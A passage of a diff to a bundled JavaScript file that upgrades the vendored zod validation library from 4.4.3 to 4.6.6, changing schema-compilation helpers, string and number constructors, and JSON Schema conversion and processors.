(isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async custom predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError("custom schema without a predicate function"); + } + return accessor; +} +function runtimeCatch(innerSchema, catchValue, value) { + const result = innerSchema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + if (r.issues.length === 0) + return r.value; + return catchValue(); +} +function generateCatchCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (!def.catchValue[CONSTANT_CATCH]) { + throw new ZodCompileUnsupportedError("catch with a callback (only a constant catch value compiles)", false); + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar} = (() => {`); + doc.indented((d) => { + const innerOut = compileChild(d, ctx, def.innerType, accessor); + d.write(`return ${innerOut};`); + }); + doc.write(`})();`); + const innerConst = addConstant(ctx, def.innerType); + const catchConst = addUserConstant(ctx, def.catchValue); + const catchHelperConst = addConstant(ctx, runtimeCatch); + doc.write(`if (${outputVar} === INVALID) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${catchHelperConst}(${innerConst}, ${catchConst}, ${accessor});`); + d.write(`if (${outputVar} === INVALID) return INVALID;`); + }); + doc.write(`}`); + return outputVar; +} +function generateTransformCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; + } + return accessor; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/api.js +function snapshotChecks(def) { + if (def.checks) + def.checks = [...def.checks]; + return def; +} // @__NO_SIDE_EFFECTS__ function _string(Class2, params) { - return new Class2({ - type: "string", - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedString(Class2, params) { - return new Class2({ - type: "string", - coerce: true, - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", coerce: true, ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _email(Class2, params) { @@ -73644,6 +77819,26 @@ function _e164(Class2, params) { }); } // @__NO_SIDE_EFFECTS__ +function _creditCard(Class2, params) { + return new Class2({ + type: "string", + format: "credit_card", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _iban(Class2, params) { + return new Class2({ + type: "string", + format: "iban", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _jwt(Class2, params) { return new Class2({ type: "string", @@ -73702,20 +77897,11 @@ function _isoDuration(Class2, params) { } // @__NO_SIDE_EFFECTS__ function _number(Class2, params) { - return new Class2({ - type: "number", - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedNumber(Class2, params) { - return new Class2({ - type: "number", - coerce: true, - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", coerce: true, checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _int(Class2, params) { @@ -74057,6 +78243,14 @@ function _property(property, schema, params) { }); } // @__NO_SIDE_EFFECTS__ +function _properties(shape, params) { + return new $ZodCheckProperties({ + check: "properties", + shape, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _mime(types2, params) { return new $ZodCheckMimeType({ check: "mime_type", @@ -74073,23 +78267,23 @@ function _overwrite(tx) { } // @__NO_SIDE_EFFECTS__ function _normalize(form) { - return /* @__PURE__ */ _overwrite((input) => input.normalize(form)); + return /* @__PURE__ */ _overwrite((input2) => input2.normalize(form)); } // @__NO_SIDE_EFFECTS__ function _trim() { - return /* @__PURE__ */ _overwrite((input) => input.trim()); + return /* @__PURE__ */ _overwrite((input2) => input2.trim()); } // @__NO_SIDE_EFFECTS__ function _toLowerCase() { - return /* @__PURE__ */ _overwrite((input) => input.toLowerCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toLowerCase()); } // @__NO_SIDE_EFFECTS__ function _toUpperCase() { - return /* @__PURE__ */ _overwrite((input) => input.toUpperCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toUpperCase()); } // @__NO_SIDE_EFFECTS__ function _slugify() { - return /* @__PURE__ */ _overwrite((input) => slugify(input)); + return /* @__PURE__ */ _overwrite((input2) => slugify(input2)); } // @__NO_SIDE_EFFECTS__ function _array(Class2, element, params) { @@ -74256,7 +78450,7 @@ function _catch(Class2, innerType, catchValue) { return new Class2({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : constantCatch(catchValue) }); } // @__NO_SIDE_EFFECTS__ @@ -74329,7 +78523,8 @@ function _superRefine(fn, params) { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = ch); _issue.continue ?? (_issue.continue = !ch._zod.def.abort); payload.issues.push(issue(_issue)); @@ -74394,8 +78589,8 @@ function _stringbool(Classes, _params) { type: "pipe", in: stringSchema, out: booleanSchema, - transform: (input, payload) => { - let data = input; + transform: (input2, payload) => { + let data = input2; if (params.case !== "sensitive") data = data.toLowerCase(); if (truthySet.has(data)) { @@ -74414,8 +78609,8 @@ function _stringbool(Classes, _params) { return {}; } }, - reverseTransform: (input, _payload) => { - if (input === true) { + reverseTransform: (input2, _payload) => { + if (input2 === true) { return truthyArray[0] || "true"; } else { return falsyArray[0] || "false"; @@ -74423,13 +78618,15 @@ function _stringbool(Classes, _params) { }, error: params.error }); + codec2._zod.bag.truthy = truthyArray; + codec2._zod.bag.falsy = falsyArray; + codec2._zod.bag.case = params.case ?? "insensitive"; return codec2; } // @__NO_SIDE_EFFECTS__ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { const params = normalizeParams(_params); const def = { - ...normalizeParams(_params), check: "string_format", type: "string", format, @@ -74443,7 +78640,17 @@ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { return inst; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/to-json-schema.js +function assignProps(target, ...sources) { + for (const source of sources) { + for (const key of Reflect.ownKeys(source)) { + if (Object.prototype.propertyIsEnumerable.call(source, key)) { + assignProp(target, key, source[key]); + } + } + } + return target; +} function initializeContext(params) { let target = params?.target ?? "draft-2020-12"; if (target === "draft-4") @@ -74460,12 +78667,25 @@ function initializeContext(params) { io: params?.io ?? "output", counter: 0, seen: /* @__PURE__ */ new Map(), + sharedDefsExtractedFor: void 0, + sharedEmitDoneFor: void 0, cycles: params?.cycles ?? "ref", reused: params?.reused ?? "inline", + intersections: [], + deferred: [], external: params?.external ?? void 0 }; } -function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { +function handleUnrepresentable(schema, ctx, json3, params, message) { + const result = typeof ctx.unrepresentable === "function" ? ctx.unrepresentable({ zodSchema: schema, path: params.path, message }) : ctx.unrepresentable; + if (result === "any") + return false; + if (result === void 0 || result === "throw") + throw new Error(message); + Object.assign(json3, result); + return true; +} +function processSchema(schema, ctx, _params = { path: [], schemaPath: [] }) { var _a3; const def = schema._zod.def; const seen = ctx.seen.get(schema); @@ -74479,6 +78699,8 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { } const result = { schema: {}, count: 1, cycle: void 0, path: _params.path }; ctx.seen.set(schema, result); + ctx.sharedDefsExtractedFor = void 0; + ctx.sharedEmitDoneFor = void 0; const overrideSchema = schema._zod.toJSONSchema?.(); if (overrideSchema) { result.schema = overrideSchema; @@ -74502,13 +78724,13 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { if (parent) { if (!result.ref) result.ref = parent; - process2(parent, ctx, params); + processSchema(parent, ctx, params); ctx.seen.get(parent).isParent = true; } } const meta3 = ctx.metadataRegistry.get(schema); if (meta3) - Object.assign(result.schema, meta3); + assignProps(result.schema, meta3); if (ctx.io === "input" && isTransforming(schema)) { delete result.schema.examples; delete result.schema.default; @@ -74519,10 +78741,15 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { const _result = ctx.seen.get(schema); return _result.schema; } +function encodeJSONPointerSegment(segment) { + return segment.replace(/~/g, "~0").replace(/\//g, "~1"); +} function extractDefs(ctx, schema) { const root = ctx.seen.get(schema); if (!root) throw new Error("Unprocessed schema. This is a bug in Zod."); + if (ctx.external && ctx.sharedDefsExtractedFor === ctx.external) + return; const idToSchema = /* @__PURE__ */ new Map(); for (const entry of ctx.seen.entries()) { const id = ctx.metadataRegistry.get(entry[0])?.id; @@ -74544,15 +78771,15 @@ function extractDefs(ctx, schema) { } const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`; entry[1].defId = id; - return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${id}` }; - } - if (entry[1] === root) { - return { ref: "#" }; + return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${encodeJSONPointerSegment(id)}` }; } const uriPrefix = `#`; const defUriPrefix = `${uriPrefix}/${defsSegment}/`; + if (entry[1] === root && !entry[1].schema.id) { + return { ref: uriPrefix }; + } const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`; - return { defId, ref: defUriPrefix + defId }; + return { defId, ref: defUriPrefix + encodeJSONPointerSegment(defId) }; }; const extractToDef = (entry) => { if (entry[1].schema.$ref) { @@ -74604,10 +78831,119 @@ Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs. if (seen.count > 1) { if (ctx.reused === "ref") { extractToDef(entry); + } + } + } + if (ctx.external) + ctx.sharedDefsExtractedFor = ctx.external; +} +function compactTypeUnion(schema) { + const options = schema.anyOf; + if (!Array.isArray(options) || options.length === 0 || schema.type !== void 0) + return; + const types2 = []; + for (const option of options) { + if (!option || typeof option !== "object") + return; + compactTypeUnion(option); + const keys = Object.keys(option); + if (keys.length !== 1 || keys[0] !== "type") + return; + const type = option.type; + for (const member of Array.isArray(type) ? type : [type]) { + if (typeof member !== "string") + return; + if (!types2.includes(member)) + types2.push(member); + } + } + delete schema.anyOf; + schema.type = types2.length === 1 ? types2[0] : types2; +} +var FOLDABLE_KEYS = /* @__PURE__ */ new Set(["type", "properties", "required", "additionalProperties"]); +var UNION_KEYS = ["oneOf", "anyOf"]; +function undeclaredConstraint(member) { + const extra = member.additionalProperties; + if (extra === void 0 || extra === false || typeof extra !== "object" || extra === null) + return null; + return Object.keys(extra).length ? extra : null; +} +function foldObjects(members2) { + const objects = []; + for (const member of members2) { + if (typeof member !== "object" || member.type !== "object") + return null; + for (const key in member) { + if (!FOLDABLE_KEYS.has(key)) + return null; + } + objects.push(member); + } + const properties = {}; + const required2 = /* @__PURE__ */ new Set(); + for (const object2 of objects) { + for (const key in object2.properties) { + if (Object.prototype.hasOwnProperty.call(properties, key)) continue; + const parts = []; + for (const other of objects) { + const part = other.properties?.[key] ?? undeclaredConstraint(other); + if (part === null || part === void 0) + continue; + if (!parts.some((seen) => JSON.stringify(seen) === JSON.stringify(part))) + parts.push(part); } + const merged = parts.length === 1 ? parts[0] : foldObjects(parts) ?? { allOf: parts }; + assignProp(properties, key, merged); } + for (const key of object2.required ?? []) + required2.add(key); } + const folded = { type: "object", properties }; + if (required2.size) + folded.required = [...required2]; + if (objects.every((object2) => object2.additionalProperties === false)) { + folded.additionalProperties = false; + } else { + const constraints = []; + for (const object2 of objects) { + const constraint = undeclaredConstraint(object2); + if (constraint && !constraints.some((seen) => JSON.stringify(seen) === JSON.stringify(constraint))) + constraints.push(constraint); + } + if (constraints.length === 1) + folded.additionalProperties = constraints[0]; + else if (constraints.length > 1) + folded.additionalProperties = { allOf: constraints }; + } + return folded; +} +function foldIntersection(json3) { + const allOf = json3.allOf; + if (!Array.isArray(allOf) || allOf.length < 2) + return; + for (const key of FOLDABLE_KEYS) + if (key in json3) + return; + const unions = allOf.filter((m) => UNION_KEYS.some((k) => Array.isArray(m[k]))); + let folded = null; + if (!unions.length) { + folded = foldObjects(allOf); + } else { + const union3 = unions[0]; + const keyword = UNION_KEYS.find((k) => Array.isArray(union3[k])); + if (Object.keys(union3).length !== 1) + return; + const rest = allOf.filter((m) => m !== union3); + const branches = union3[keyword].map((branch) => foldObjects([...rest, branch])); + if (branches.some((b2) => !b2)) + return; + folded = { [keyword]: branches }; + } + if (!folded) + return; + delete json3.allOf; + assignProps(json3, folded); } function finalize(ctx, schema) { const root = ctx.seen.get(schema); @@ -74629,9 +78965,9 @@ function finalize(ctx, schema) { schema2.allOf = schema2.allOf ?? []; schema2.allOf.push(refSchema); } else { - Object.assign(schema2, refSchema); + assignProps(schema2, refSchema); } - Object.assign(schema2, _cached); + assignProps(schema2, _cached); const isParentRef = zodSchema._zod.parent === ref; if (isParentRef) { for (const key in schema2) { @@ -74675,8 +79011,36 @@ function finalize(ctx, schema) { path: seen.path ?? [] }); }; - for (const entry of [...ctx.seen.entries()].reverse()) { - flattenRef(entry[0]); + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of [...ctx.seen.entries()].reverse()) { + flattenRef(entry[0]); + } + if (ctx.target !== "openapi-3.0") { + for (const entry of ctx.seen.entries()) { + compactTypeUnion(entry[1].def ?? entry[1].schema); + } + } + for (const rewrite of ctx.deferred) + rewrite(); + if (ctx.intersections.length) { + const carriers = /* @__PURE__ */ new Map(); + for (const seen of ctx.seen.values()) { + for (const json3 of [seen.schema, seen.def]) { + const allOf = json3?.allOf; + if (!Array.isArray(allOf)) + continue; + const existing = carriers.get(allOf); + if (existing) + existing.push(json3); + else + carriers.set(allOf, [json3]); + } + } + for (const allOf of ctx.intersections) { + for (const json3 of carriers.get(allOf) ?? []) + foldIntersection(json3); + } + } } const result = {}; if (ctx.target === "draft-2020-12") { @@ -74694,19 +79058,23 @@ function finalize(ctx, schema) { throw new Error("Schema is missing an `id` property"); result.$id = ctx.external.uri(id); } - Object.assign(result, root.def ?? root.schema); + assignProps(result, root.defId ? root.schema : root.def ?? root.schema); const rootMetaId = ctx.metadataRegistry.get(schema)?.id; if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id; const defs = ctx.external?.defs ?? {}; - for (const entry of ctx.seen.entries()) { - const seen = entry[1]; - if (seen.def && seen.defId) { - if (seen.def.id === seen.defId) - delete seen.def.id; - defs[seen.defId] = seen.def; + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (seen.def && seen.defId) { + if (seen.def.id === seen.defId) + delete seen.def.id; + assignProp(defs, seen.defId, seen.def); + } } } + if (ctx.external) + ctx.sharedEmitDoneFor = ctx.external; if (ctx.external) { } else { if (Object.keys(defs).length > 0) { @@ -74749,7 +79117,7 @@ function isTransforming(_schema, _ctx) { return isTransforming(def.valueType, ctx); if (def.type === "lazy") return isTransforming(def.getter(), ctx); - if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault") { + if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault" || def.type === "catch") { return isTransforming(def.innerType, ctx); } if (def.type === "intersection") { @@ -74790,19 +79158,107 @@ function isTransforming(_schema, _ctx) { } var createToJSONSchemaMethod = (schema, processors = {}) => (params) => { const ctx = initializeContext({ ...params, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; var createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => { const { libraryOptions, target } = params ?? {}; const ctx = initializeContext({ ...libraryOptions ?? {}, target, io, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-processors.js +var narrowMin = (agg, key, value) => { + if (agg[key] === void 0 || value > agg[key]) + agg[key] = value; +}; +var narrowMax = (agg, key, value) => { + if (agg[key] === void 0 || value < agg[key]) + agg[key] = value; +}; +var narrowBoth = (agg, value) => { + narrowMin(agg, "minimum", value); + narrowMax(agg, "maximum", value); +}; +var addDivisor = (agg, value) => { + agg.multipleOf ?? (agg.multipleOf = []); + if (!agg.multipleOf.includes(value)) + agg.multipleOf.push(value); +}; +var addPattern = (agg, pattern) => { + agg.patterns ?? (agg.patterns = /* @__PURE__ */ new Set()); + agg.patterns.add(pattern); +}; +var intersectMime = (agg, mime) => { + agg.mime = agg.mime ? agg.mime.filter((m) => mime.includes(m)) : [...mime]; +}; +var setFormat = (agg, format) => { + agg.format = format; + if (format.includes("int")) + agg.isInt = true; +}; +var minContributor = (agg, def) => narrowMin(agg, "minimum", def.minimum); +var maxContributor = (agg, def) => narrowMax(agg, "maximum", def.maximum); +var formatContributor = (ranges) => (agg, def) => { + setFormat(agg, def.format); + const [minimum, maximum] = ranges[def.format]; + narrowMin(agg, "minimum", minimum); + narrowMax(agg, "maximum", maximum); +}; +var contributors = { + greater_than: (agg, def) => narrowMin(agg, def.inclusive ? "minimum" : "exclusiveMinimum", def.value), + less_than: (agg, def) => narrowMax(agg, def.inclusive ? "maximum" : "exclusiveMaximum", def.value), + multiple_of: (agg, def) => addDivisor(agg, def.value), + number_format: formatContributor(NUMBER_FORMAT_RANGES), + bigint_format: formatContributor(BIGINT_FORMAT_RANGES), + min_length: minContributor, + max_length: maxContributor, + length_equals: (agg, def) => narrowBoth(agg, def.length), + min_size: minContributor, + max_size: maxContributor, + size_equals: (agg, def) => narrowBoth(agg, def.size), + string_format: (agg, def) => { + setFormat(agg, def.format); + if (def.pattern) + addPattern(agg, def.pattern); + if (def.format === "base64" || def.format === "base64url") + agg.contentEncoding = def.format; + if (def.local || def.precision === -1) + agg.laxFormat = true; + }, + mime_type: (agg, def) => intersectMime(agg, def.mime) +}; +function aggregateChecks(schema) { + const agg = {}; + const def = schema._zod.def; + const list = schema._zod.traits.has("$ZodCheck") ? [schema, ...def.checks ?? []] : def.checks ?? []; + for (const ch of list) + contributors[ch._zod.def.check]?.(agg, ch._zod.def); + const bag = schema._zod.bag; + if (bag.minimum !== void 0) + narrowMin(agg, "minimum", bag.minimum); + if (bag.exclusiveMinimum !== void 0) + narrowMin(agg, "exclusiveMinimum", bag.exclusiveMinimum); + if (bag.maximum !== void 0) + narrowMax(agg, "maximum", bag.maximum); + if (bag.exclusiveMaximum !== void 0) + narrowMax(agg, "exclusiveMaximum", bag.exclusiveMaximum); + if (bag.multipleOf !== void 0) + addDivisor(agg, bag.multipleOf); + if (bag.format !== void 0) { + agg.format ?? (agg.format = bag.format); + if (bag.format.includes("int")) + agg.isInt = true; + } + if (bag.mime) + intersectMime(agg, bag.mime); + for (const pattern of bag.patterns ?? []) + addPattern(agg, pattern); + return agg; +} var formatMap = { guid: "uuid", url: "uri", @@ -74811,10 +79267,15 @@ var formatMap = { regex: "" // do not set }; +var exactPatterns = /* @__PURE__ */ new Map([ + [base64Charset, base64], + [base64urlCharset, base64url] +]); +var exactPattern = (p) => exactPatterns.get(p) ?? p; var stringProcessor = (schema, ctx, _json, _params) => { const json3 = _json; json3.type = "string"; - const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag; + const { minimum, maximum, format, patterns, contentEncoding, laxFormat } = aggregateChecks(schema); if (typeof minimum === "number") json3.minLength = minimum; if (typeof maximum === "number") @@ -74823,19 +79284,19 @@ var stringProcessor = (schema, ctx, _json, _params) => { json3.format = formatMap[format] ?? format; if (json3.format === "") delete json3.format; - if (format === "time") { + if (format === "time" || laxFormat) { delete json3.format; } } if (contentEncoding) json3.contentEncoding = contentEncoding; if (patterns && patterns.size > 0) { - const regexes = [...patterns]; - if (regexes.length === 1) - json3.pattern = regexes[0].source; - else if (regexes.length > 1) { + const patternList = [...patterns].map(exactPattern); + if (patternList.length === 1) + json3.pattern = patternList[0].source; + else if (patternList.length > 1) { json3.allOf = [ - ...regexes.map((regex) => ({ + ...patternList.map((regex) => ({ ...ctx.target === "draft-07" || ctx.target === "draft-04" || ctx.target === "openapi-3.0" ? { type: "string" } : {}, pattern: regex.source })) @@ -74843,13 +79304,10 @@ var stringProcessor = (schema, ctx, _json, _params) => { } } }; -var numberProcessor = (schema, ctx, _json, _params) => { +var numberProcessor = (schema, ctx, _json, params) => { const json3 = _json; - const { minimum, maximum, format, multipleOf, exclusiveMaximum, exclusiveMinimum } = schema._zod.bag; - if (typeof format === "string" && format.includes("int")) - json3.type = "integer"; - else - json3.type = "number"; + const { minimum, maximum, multipleOf, exclusiveMaximum, exclusiveMinimum, isInt } = aggregateChecks(schema); + json3.type = isInt ? "integer" : "number"; const exMin = typeof exclusiveMinimum === "number" && exclusiveMinimum >= (minimum ?? Number.NEGATIVE_INFINITY); const exMax = typeof exclusiveMaximum === "number" && exclusiveMaximum <= (maximum ?? Number.POSITIVE_INFINITY); const legacy = ctx.target === "draft-04" || ctx.target === "openapi-3.0"; @@ -74873,21 +79331,29 @@ var numberProcessor = (schema, ctx, _json, _params) => { } else if (typeof maximum === "number") { json3.maximum = maximum; } - if (typeof multipleOf === "number") - json3.multipleOf = multipleOf; + if (multipleOf) { + const divisors = /* @__PURE__ */ new Set(); + for (const divisor of multipleOf) { + if (Number.isFinite(divisor) && divisor !== 0) + divisors.add(Math.abs(divisor)); + else + handleUnrepresentable(schema, ctx, json3, params, `A multipleOf divisor of ${divisor} cannot be represented in JSON Schema`); + } + const [first, ...rest] = divisors; + if (first !== void 0) + json3.multipleOf = first; + if (rest.length) + json3.allOf = [...json3.allOf ?? [], ...rest.map((m) => ({ multipleOf: m }))]; + } }; var booleanProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var bigintProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt cannot be represented in JSON Schema"); - } +var bigintProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "BigInt cannot be represented in JSON Schema"); }; -var symbolProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Symbols cannot be represented in JSON Schema"); - } +var symbolProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Symbols cannot be represented in JSON Schema"); }; var nullProcessor = (_schema, ctx, json3, _params) => { if (ctx.target === "openapi-3.0") { @@ -74898,15 +79364,11 @@ var nullProcessor = (_schema, ctx, json3, _params) => { json3.type = "null"; } }; -var undefinedProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Undefined cannot be represented in JSON Schema"); - } +var undefinedProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Undefined cannot be represented in JSON Schema"); }; -var voidProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Void cannot be represented in JSON Schema"); - } +var voidProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Void cannot be represented in JSON Schema"); }; var neverProcessor = (_schema, _ctx, json3, _params) => { json3.not = {}; @@ -74915,35 +79377,37 @@ var anyProcessor = (_schema, _ctx, _json, _params) => { }; var unknownProcessor = (_schema, _ctx, _json, _params) => { }; -var dateProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Date cannot be represented in JSON Schema"); - } +var dateProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Date cannot be represented in JSON Schema"); }; var enumProcessor = (schema, _ctx, json3, _params) => { const def = schema._zod.def; const values2 = getEnumValues(def.entries); + if (values2.length === 0) { + json3.not = {}; + return; + } if (values2.every((v) => typeof v === "number")) json3.type = "number"; if (values2.every((v) => typeof v === "string")) json3.type = "string"; json3.enum = values2; }; -var literalProcessor = (schema, ctx, json3, _params) => { +var literalProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; + if (def.values.length === 0) { + json3.not = {}; + return; + } const vals = []; for (const val of def.values) { if (val === void 0) { - if (ctx.unrepresentable === "throw") { - throw new Error("Literal `undefined` cannot be represented in JSON Schema"); - } else { - } + if (handleUnrepresentable(schema, ctx, json3, params, "Literal `undefined` cannot be represented in JSON Schema")) + return; } else if (typeof val === "bigint") { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt literals cannot be represented in JSON Schema"); - } else { - vals.push(Number(val)); - } + if (handleUnrepresentable(schema, ctx, json3, params, "BigInt literals cannot be represented in JSON Schema")) + return; + vals.push(Number(val)); } else { vals.push(val); } @@ -74969,10 +79433,8 @@ var literalProcessor = (schema, ctx, json3, _params) => { json3.enum = vals; } }; -var nanProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("NaN cannot be represented in JSON Schema"); - } +var nanProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "NaN cannot be represented in JSON Schema"); }; var templateLiteralProcessor = (schema, _ctx, json3, _params) => { const _json = json3; @@ -74984,93 +79446,90 @@ var templateLiteralProcessor = (schema, _ctx, json3, _params) => { }; var fileProcessor = (schema, _ctx, json3, _params) => { const _json = json3; - const file2 = { - type: "string", - format: "binary", - contentEncoding: "binary" - }; - const { minimum, maximum, mime } = schema._zod.bag; + _json.type = "string"; + _json.format = "binary"; + _json.contentEncoding = "binary"; + const { minimum, maximum, mime } = aggregateChecks(schema); if (minimum !== void 0) - file2.minLength = minimum; + _json.minLength = minimum; if (maximum !== void 0) - file2.maxLength = maximum; - if (mime) { - if (mime.length === 1) { - file2.contentMediaType = mime[0]; - Object.assign(_json, file2); - } else { - Object.assign(_json, file2); - _json.anyOf = mime.map((m) => ({ contentMediaType: m })); - } - } else { - Object.assign(_json, file2); - } + _json.maxLength = maximum; + if (!mime) + return; + if (mime.length === 0) + _json.not = {}; + else if (mime.length === 1) + _json.contentMediaType = mime[0]; + else + _json.anyOf = mime.map((m) => ({ contentMediaType: m })); }; var successProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var customProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Custom types cannot be represented in JSON Schema"); - } +var customProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Custom types cannot be represented in JSON Schema"); }; -var functionProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Function types cannot be represented in JSON Schema"); - } +var functionProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Function types cannot be represented in JSON Schema"); }; -var transformProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Transforms cannot be represented in JSON Schema"); - } +var transformProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Transforms cannot be represented in JSON Schema"); }; -var mapProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Map cannot be represented in JSON Schema"); - } +var mapProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Map cannot be represented in JSON Schema"); }; -var setProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Set cannot be represented in JSON Schema"); - } +var setProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Set cannot be represented in JSON Schema"); }; var arrayProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; json3.type = "array"; - json3.items = process2(def.element, ctx, { + json3.items = processSchema(def.element, ctx, { ...params, path: [...params.path, "items"] }); }; +function inputOptin(schema) { + const def = schema._zod.def; + if (def.type === "pipe" && def.in._zod.traits.has("$ZodTransform")) { + return inputOptin(def.out); + } + if (def.type === "catch") { + return inputOptin(def.innerType); + } + return schema._zod.optin; +} var objectProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; + const shape = def.shape; + const symbolKeys = Object.getOwnPropertySymbols(shape); + if (symbolKeys.length && handleUnrepresentable(schema, ctx, json3, params, "Symbol keys cannot be represented in JSON Schema")) { + return; + } json3.type = "object"; json3.properties = {}; - const shape = def.shape; for (const key in shape) { - json3.properties[key] = process2(shape[key], ctx, { + assignProp(json3.properties, key, processSchema(shape[key], ctx, { ...params, path: [...params.path, "properties", key] - }); + })); } - const allKeys = new Set(Object.keys(shape)); - const requiredKeys = new Set([...allKeys].filter((key) => { - const v = def.shape[key]._zod; - if (ctx.io === "input") { 